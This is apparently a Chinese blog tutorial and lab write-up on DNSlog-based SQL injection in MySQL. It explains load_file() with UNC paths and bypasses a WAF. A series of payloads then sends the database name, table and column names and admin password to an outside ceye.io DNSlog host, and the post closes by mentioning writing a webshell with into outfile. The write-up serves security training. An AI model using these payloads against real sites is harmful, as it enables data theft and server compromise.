什么是 DNS
- DNS是域名解析服务器,负责将域名转化为对应的IP地址。
- DNSlog就是存储在DNS服务器上的域名信息,类似于日志文件。
什么是 UNC 路径(Universal Naming Convention)

- UNC路径是绝对路径
- UNC路径格式:
\\servername\sharename
servername是服务器名,sharename是共享文件名。 - 计算机名称的前面始终使用双反斜线 (
\\
)。 - 使用了SMB服务。
DNS 注入使用的sql函数
load_file(文件路径) 可以用该函数读取文件
因为高版本Mysql对load_file()
函数做了限制,需要手动开启
可以在mysql安装目录中的my.ini文件中的[mysqld]项下添加 secure_file_priv = ''


DNS 注入的原理
因为sql中的load_file()函数可以使用UNC路径,通过让该函数去访问域名,并结合子查询将内容作为子域名拼接到所访问域名,然后通过查询dns访问记录(DNSlog)就可以得知子查询的结果。
DNS 注入的条件和使用场景
- 使用条件:
- 站点存在sql注入
- 站点得有网络(有网络才可以通过dnslog将数据外带)
- Linux不一定可以进行dnslog注入,Linux系统不自带SMB服务
- 数据库版本低,或者配置文件修改过,
secure_file_priv = ''
,也就是load_file()
函数可以使用 - 使用场景:在无法直接利用回显注入的情况下,但是可以通过DNS请求,通过DNSlog,把数据外带,然后通过DNS解析记录查看注入结果
web应用防火墙(Web Application Firewall)简述

安全狗:WAF(应用于网站的防护软件)
- 防护机制(黑白名单) 黑名单 白名单
靶场实操
打开靶场页面

and 1=1
有WAF

绕过方法,对不具备危险的文件进行传参,即可以对1.txt传参

有延迟,说明语句执行成功。利用load_file()
函数进行注入
and load_file(concat('\\\\',database(),'.2a3q8o.ceye.io\\123'))

可见,数据库名已经被外带出来了。mangzhu
判断一下该数据库下表的数量
and load_file(concat('\\\\',(select count(table_name) from information_schema.tables where table_schema=database()),'.2a3q8o.ceye.io\\123'))

存在两个表。
and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.2a3q8o.ceye.io\\123'))

第一个表为admin
and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.2a3q8o.ceye.io\\123'))

第二个表news
查看admin表下的字段数
and load_file(concat('\\\\',(select count(column_name) from information_schema.columns where table_name='admin'),'.2a3q8o.ceye.io\\123'))

九个字段
查看第一个字段
and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'.2a3q8o.ceye.io\\123'))

id
and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='admin' limit 1,1),'.2a3q8o.ceye.io\\123'))

username
and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='admin' limit 2,1),'.2a3q8o.ceye.io\\123'))

password
其余的字段依次为
id
,username
,password
,id
,username
,password
。
查password数据
and load_file(concat('\\\\',(select password from admin limit 0,1),'.2a3q8o.ceye.io\\123'))

获得flag,提交结束。
总结:
DNSlog注入就是利用sql中的load_file()函数可以进行网络访问的特点,将想要得到的数据通过子域名的方式进行拼接并访问,通过查看DNS的访问记录来直接获得所想要的东西。
拓展
mysql into outfile
语句可以将查询结果导出到文件
例如:



利用这个语句,可以将一句话木马写入网站。

然后使用菜刀连接就可以获得webshell。

Comments NOTHING